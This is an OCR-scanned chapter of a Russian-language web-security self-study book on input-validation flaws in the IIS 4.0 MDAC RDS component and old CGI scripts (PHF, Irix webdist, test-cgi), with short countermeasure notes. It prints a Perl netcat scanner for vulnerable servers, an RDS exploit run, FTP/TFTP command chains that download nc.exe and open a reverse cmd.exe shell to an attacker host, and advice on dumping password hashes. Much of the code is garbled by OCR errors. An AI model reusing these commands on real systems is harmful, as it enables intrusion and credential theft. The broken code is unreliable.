Иллюстрированный самоучитель по Secure Web

       

Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода


Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере.

Изъян MDAC RDS IIS 4.0

Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере.

Первопричина проблемы заключается в объекте DataFactory службы RDS. По умолчанию он позволяет передавать удаленные команды серверу I1S. В этом случае команды запускаются с правами эффективного пользователя этой службы, которым обычно является пользователь SYSTEM (внутренний пользователь, обладающий привилегиями администратора). Это означает, что взломщик может получить удаленный доступ с правами администратора к любому серверу в мире', у которого имеется такой изъян.

Для проверки этой концепции компания Rain.forest.puppy разработала свой сценарий на языке Perl (его можно загрузить с Web-узла компании Security Focus http://vww.securityfocus.com), посылающий запрос RDS в базу данных, которая служит в качестве образца и называется btcustmr.mdb. Целью запроса является запуск на сервере команды, вводимой пользователем.



Поиск уязвимых серверов в сети представляется простой задачей. Посмотрим, как можно обнаружить компоненты MDAC службы RDS. С помощью утилиты netcat и языка Perl можно просканировать подсети в поисках признаков уязвимого сервера — наличия динамически подключаемой библиотеки msadcs.dll. Если в результате обработки HTML-запроса будет получена строка appiication/x-varg, значит, высока вероятность того (хотя и не на 100%), что данная система уязвима. Ниже для примера приведен код на языке Perl, с помощью которого можно обнаружить данный изъян.

#!/usr/bin/perl

if ($|ARGV < 0) {

print "Ошибка в синтаксиме - попробуйте eщe pas.";

print ": mdac.pl 10.1.2.3-255";}

doit($ARGV[0]); foreach $item (@hosts)

{ portscan($item); }



close OUTFILE;

sub doit { $line = $_[0];

if ($line!=/#/) {

if ($line=~/-/) {

Stmp = split/-/, $line;

Ship = split//, $tmp[0];

@eip = split//, $tmp[lj;

} else

{

@bip = split//, $line;

@eip = split//, $line; }

$al = $bip[0];

$bl = $bip[l];

$cl = $bip[2];

$dl = $bip[3];

Snum = @eip; if ($num==l)

{ $a2 = $bip[0]

$b2 = $bip[l]

$c2 = $bip[2]

$d2 = $eip[0]

} elsif

($num==2)

{$a2 = $bip[0]

$b2 = $bip[l]

$c2 = $eip[0]

$d2 = $eip[l] }

elsif

($num==3)

{

$a2 = $bip[0]

$b2 = $eip[0]

$c2 = $eip[l]

$d2 = $eip[2]

} elsif

($num== )

{

$a2 = $eip[0]

$b2 '-= $eip[l]

$c2 = $eip[2]

$d2 = $eip[3] }

# Ha базк IP-адреса подсети (класс A, B, C)задаем

# корректные значения переменных.

check_end(); $aend=$a2;

# Создание массива.

while

($al < $aend)

( while ($bl < $bend)

{ while ($cl < $cend)

{ while ($dl < Sdend) {

push (@hosts, "$al.$bl.$cl.$dl">;

$dl+=l;

check_end();

}

$cl+=l;

$dl=0;

}

$bl+=l;

$cl=0;

}

$al+=l; $bl=0; } } }

sub portscan ( my $target = $_[0];

print "Сканируется порт $target."; local $/;

open(SCAN,"nc -vzn -w 2 $target 80 2»

&1I");

# Порт открыт

$result = <SCAN>;

if ($result=~/open/)

{

print "\tПорт 80 Ha $target открыт . \n";



print OUTFILE "порт 80 открыт\n";

open (HTTP, ">http.tmp");

print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";

close HTTP;

open(SCAN2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");

$result2 = <SCAN2>;

if (Sresult2=~/Microsoft-IIS4.07)

{

if ($result2=~/x-varg/){

print "

$target уязвима против атаки MDAC.";

print OUTFILE "$target

может быть уязвима против атаки &MDAC.";

}

}

close SCAN;

}

}

sub check_end

{

if (($al==$a2) &S ($bl==$b2) &

s ($cl==$c2)) {

$dend=$d2; }

else {

$dend=255; }

if (($al==$a2) &&

($bl==$b2)) {

$cend=$c2; }

else {

$cend=255; }

if ($al= =$a2)

{

$bend=$b2; - }

else {

$bend=255;

}

}

При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес

"Анатомия" атаки

Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.

C:\>perl mdac_exploit.pl -h 192.168.50.11

-- RDS exploit by rain forest puppy/ADM/Wiretrip--

Command: <run your command here>

Step 1: Trying raw driver to btcustmr.mdb

winnt -> c: Success!

Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд,



"cd SystemRoot £& echo $ftp_user>ftptmp

&& echo $ftp_pass»ftptmp

&& echo bin»ftptmp &&

echo get nc. exe»ftptmp

&£ echo bye»ftptmp &£

ftp -s:ftptmp $ftp_ip &&

del ftptmp &&

attrib -r nc.exe && nc

-e cmd.exe $my_ip $my_port"

При использовании TFTP аналогичные команды будут выглядеть следующим образом,

"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib

-r nc.exe && nc -e cmd.exe $my_ip $my_port"

Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр.

Контрмеры: защита компонентов МDАС службы RDS

Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. 

Изъяны CGI

По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.

Сценарии PHF

Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.



Контрмеры: защита сценариев РНР

Предотвращение

Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется.

Обнаружение

Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно.

С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.

Изъяны CGI системы Irix

Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. 

Контрмеры против использования изъянов CGI систем Irix

Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html.

test-cgi

Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin).



http://192.168.51.101/cgi-bin/test-cgi?*

  В результате на экран будет выведено значение переменной окружения QUERY_STRING.

QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi

search.pl

test-cgi wwwcount.cgi

Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX.

Контрмеры против использования изъянов ССI

Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев.


Содержание раздела